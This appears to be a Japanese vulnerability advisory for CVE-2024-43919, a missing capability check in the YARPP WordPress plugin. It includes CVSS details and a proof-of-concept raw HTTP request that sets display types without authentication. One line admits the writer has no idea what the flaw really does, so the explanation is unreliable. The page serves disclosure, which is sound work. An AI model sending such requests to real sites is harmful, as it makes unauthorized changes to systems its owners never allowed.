CVE-2024-43919

YARPP <= 5.30.10 - 認可の欠如

説明

WordPress用プラグインYARPP – Yet Another Related Posts Pluginは、バージョン5.30.10までの全バージョンにおいて、~/includes/yarpp_pro_set_display_types.phpファイルに能力チェックが欠如しているため、権限のないアクセスに対して脆弱です。これにより、認証されていない攻撃者が表示タイプを設定できる可能性があります。

Type: plugin
CVSS Score: 5.3
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CVE: CVE-2024-43919
Slug: yet-another-related-posts-plugin

情報

これが実際に何をするのか全く見当がつかない。

実証コード

YARPPプラグインの脆弱性を悪用する生のHTTPリクエストの例を以下に示します。

GET /wp-content/plugins/yet-another-related-posts-plugin/includes/yarpp_pro_set_display_types.php?ypsdt=false&types[]=post&types[]=page HTTP/1.1
Host: example.com

このリクエストでは：

• ypsdtパラメータは、コード内の最初のチェックをバイパスするためにfalseに設定されています。
• types[]パラメータは、設定する表示タイプを指定するために使用されます。この例では、タイプとしてpostとpageが渡されています。
• Hostヘッダは、脆弱なYARPPプラグインをホストしている対象のWordPressサイトを指定します。

このリクエストが、脆弱なバージョンのYARPPプラグインがインストールされたWordPressサイトに送信されると、認証や認可を必要とせずに表示タイプが設定されます。